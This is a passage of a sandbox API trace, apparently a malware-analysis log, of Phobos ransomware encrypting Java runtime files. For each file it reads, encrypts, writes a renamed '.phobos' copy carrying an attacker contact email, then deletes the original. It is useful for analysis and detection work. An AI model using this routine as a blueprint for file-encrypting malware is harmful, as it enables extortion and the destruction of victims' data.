[0135.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 0x20 [0135.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.614] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0135.614] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0135.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0135.627] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752c58) returned 1 [0135.627] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0135.627] ReadFile (in: hFile=0x2e4, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x31440, lpOverlapped=0x0) returned 1 [0135.651] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x31450, dwBufLen=0x31450 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x31450) returned 1 [0135.652] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x31450, lpOverlapped=0x0) returned 1 [0135.655] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x753098) returned 1 [0135.655] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0135.655] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0135.655] CryptDestroyKey (hKey=0x753098) returned 1 [0135.655] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0135.655] CryptDestroyKey (hKey=0x752c58) returned 1 [0135.655] CloseHandle (hObject=0x2e4) returned 1 [0135.655] CloseHandle (hObject=0x300) returned 1 [0135.655] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 1 [0135.657] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0135.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0135.657] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=26688) returned 1 [0135.657] CloseHandle (hObject=0x300) returned 1 [0135.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 0x20 [0135.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0135.662] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0135.662] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0135.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.662] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752d58) returned 1 [0135.662] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0135.662] ReadFile (in: hFile=0x300, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x6840, lpOverlapped=0x0) returned 1 [0135.718] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x6850, dwBufLen=0x6850 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x6850) returned 1 [0135.718] WriteFile (in: hFile=0x2e4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x6850, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x6850, lpOverlapped=0x0) returned 1 [0135.719] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752e18) returned 1 [0135.719] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0135.719] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x30, dwBufLen=0x30 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x30) returned 1 [0135.719] CryptDestroyKey (hKey=0x752e18) returned 1 [0135.719] WriteFile (in: hFile=0x2e4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xe2, lpOverlapped=0x0) returned 1 [0135.720] CryptDestroyKey (hKey=0x752d58) returned 1 [0135.720] CloseHandle (hObject=0x300) returned 1 [0135.720] CloseHandle (hObject=0x2e4) returned 1 [0135.720] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 1 [0135.721] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0135.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.721] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=15936) returned 1 [0135.721] CloseHandle (hObject=0x2e4) returned 1 [0135.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 0x20 [0135.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.721] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0135.722] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0135.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0135.722] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x7531d8) returned 1 [0135.722] CryptSetKeyParam (hKey=0x7531d8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0135.722] ReadFile (in: hFile=0x2e4, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x3e40, lpOverlapped=0x0) returned 1 [0135.735] CryptEncrypt (in: hKey=0x7531d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x3e50, dwBufLen=0x3e50 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x3e50) returned 1 [0135.735] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x3e50, lpOverlapped=0x0) returned 1 [0135.743] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752d18) returned 1 [0135.743] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0135.743] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x30, dwBufLen=0x30 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x30) returned 1 [0135.744] CryptDestroyKey (hKey=0x752d18) returned 1 [0135.744] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xe2, lpOverlapped=0x0) returned 1 [0135.744] CryptDestroyKey (hKey=0x7531d8) returned 1 [0135.744] CloseHandle (hObject=0x2e4) returned 1 [0135.744] CloseHandle (hObject=0x300) returned 1 [0135.744] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 1 [0135.745] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0135.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0135.746] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=174656) returned 1 [0135.746] CloseHandle (hObject=0x300) returned 1 [0135.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 0x20 [0135.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0135.746] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0135.746] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0135.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.746] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x753158) returned 1 [0135.746] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0135.746] ReadFile (in: hFile=0x300, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x2aa40, lpOverlapped=0x0) returned 1 [0136.068] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x2aa50, dwBufLen=0x2aa50 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x2aa50) returned 1 [0136.068] WriteFile (in: hFile=0x2e4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x2aa50, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x2aa50, lpOverlapped=0x0) returned 1 [0136.071] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752c58) returned 1 [0136.071] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0136.071] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x30, dwBufLen=0x30 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x30) returned 1 [0136.071] CryptDestroyKey (hKey=0x752c58) returned 1 [0136.071] WriteFile (in: hFile=0x2e4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xe2, lpOverlapped=0x0) returned 1 [0136.071] CryptDestroyKey (hKey=0x753158) returned 1 [0136.071] CloseHandle (hObject=0x300) returned 1 [0136.071] CloseHandle (hObject=0x2e4) returned 1 [0136.071] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 1 [0136.073] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0136.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0136.073] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=112192) returned 1 [0136.073] CloseHandle (hObject=0x2e4) returned 1 [0136.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 0x20 [0136.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0136.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0136.073] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0136.073] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0136.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0136.074] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x753018) returned 1 [0136.074] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0136.074] ReadFile (in: hFile=0x2e4, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x1b640, lpOverlapped=0x0) returned 1 [0136.204] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x1b650, dwBufLen=0x1b650 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x1b650) returned 1 [0136.204] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x1b650, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x1b650, lpOverlapped=0x0) returned 1 [0136.207] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752cd8) returned 1 [0136.207] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0136.207] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0136.207] CryptDestroyKey (hKey=0x752cd8) returned 1 [0136.207] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0136.207] CryptDestroyKey (hKey=0x753018) returned 1 [0136.207] CloseHandle (hObject=0x2e4) returned 1 [0136.207] CloseHandle (hObject=0x300) returned 1 [0136.207] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 1 [0136.208] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0136.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0136.209] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=20032) returned 1 [0136.209] CloseHandle (hObject=0x300) returned 1 [0136.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 0x20 [0136.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0136.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0136.209] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0136.209] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0136.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0136.209] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752ed8) returned 1 [0136.210] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0136.210] ReadFile (in: hFile=0x300, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x4e40, lpOverlapped=0x0) returned 1 [0136.617] CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x4e50, dwBufLen=0x4e50 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x4e50) returned 1 [0136.618] WriteFile (in: hFile=0x2e4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x4e50, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x4e50, lpOverlapped=0x0) returned 1 [0136.618] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752d18) returned 1 [0136.619] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0136.619] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0136.619] CryptDestroyKey (hKey=0x752d18) returned 1 [0136.619] WriteFile (in: hFile=0x2e4, lpBuffer=0x3235020*, 